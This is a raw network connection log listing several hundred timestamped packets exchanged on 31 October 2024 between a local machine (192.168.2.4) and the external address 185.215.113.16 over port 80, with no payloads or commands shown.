Oct 31, 2024 23:37:17.031318903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031330109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031347036 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031358957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031363964 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031372070 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031377077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031390905 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031430006 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031497002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031513929 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031524897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031534910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031538963 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031548023 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031558990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031563044 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031569958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031578064 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031582117 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031593084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031629086 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031637907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031651974 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031655073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031666040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031677008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031685114 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031687975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031699896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031711102 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031713963 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031723976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031738997 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031759977 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031761885 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031771898 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031783104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031795025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031805038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031806946 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031816959 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031827927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031827927 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031841040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031852961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.031855106 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.031888008 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032100916 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032111883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032129049 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032129049 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032141924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032151937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032162905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032174110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032176018 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032186985 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032188892 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032198906 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032207966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032217979 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032224894 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032224894 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032232046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032242060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032252073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032253027 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032262087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032272100 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032280922 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032283068 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032294035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032313108 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032313108 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032490969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032501936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032511950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032515049 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032524109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032532930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032542944 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032552004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032555103 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032562017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032563925 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032572985 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032582998 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032588005 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032593966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032603025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032603979 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032613993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032630920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032649994 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032649994 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032658100 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032669067 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032681942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032690048 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032696009 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032699108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032716036 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032722950 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032726049 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032742023 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032741070 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032752991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032763004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032766104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032773972 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032782078 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032783985 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032797098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032808065 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032830000 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032854080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032864094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032874107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032885075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032895088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032905102 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032912970 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032912970 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032913923 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032919884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032928944 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032938957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032943964 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032949924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032957077 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032960892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032972097 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.032977104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.032996893 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033020973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033030987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033039093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033050060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033057928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033062935 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033068895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033078909 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033086061 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033087969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033093929 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033098936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033109903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033119917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033126116 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033128977 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033145905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033147097 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033154011 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033180952 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033332109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033341885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033349991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033369064 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033483982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033495903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033504963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033516884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033528090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033528090 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033540964 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033550978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033551931 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033556938 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033564091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033575058 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033584118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033587933 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033596039 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033606052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033617973 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033622026 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033634901 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033643007 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033646107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033658028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033668995 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033679962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033685923 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033687115 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033695936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033701897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033708096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033711910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033721924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033729076 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033734083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033745050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033755064 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033765078 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033773899 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033773899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033787012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033793926 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033797979 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033809900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033817053 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033821106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033832073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033839941 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033843040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033860922 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033870935 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033879995 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033883095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033895016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033900023 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033906937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033916950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033917904 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033927917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033937931 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033947945 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033948898 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033962011 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033971071 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033972979 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033979893 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.033984900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.033996105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034014940 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034037113 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034272909 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034285069 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034295082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034305096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034317017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034327030 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034329891 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034337997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034338951 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034349918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034360886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034362078 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034372091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034384012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034390926 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034401894 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034413099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034421921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034426928 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034432888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034440041 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034445047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034456015 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034456968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034470081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034485102 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034487009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034498930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034507990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034509897 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034519911 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034531116 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034542084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034550905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034552097 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034568071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034574032 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034579992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034590960 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034600019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034610987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034614086 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034621954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034634113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034634113 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034641981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034655094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034665108 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034667969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034681082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034691095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034693956 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034703970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034714937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034724951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034725904 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034732103 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034735918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034746885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034760952 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034765005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034766912 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034776926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034787893 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034795046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034806013 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034811020 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034816980 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034820080 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034828901 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034840107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034843922 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034852982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034857988 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034864902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034876108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034888029 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034893036 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034899950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034910917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034918070 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034921885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034934044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034945965 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034945965 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034960032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.034966946 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.034981012 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.087802887 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.310914993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.310959101 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.510339975 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.515240908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.515253067 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.515264988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.515289068 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.519139051 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524219990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524231911 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524241924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524252892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524261951 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524265051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524276018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524280071 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524288893 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524296999 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524332047 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:17.524354935 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524367094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524377108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524389029 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:17.524400949 CET	49739	80	192.168.2.4	185.215.113.16
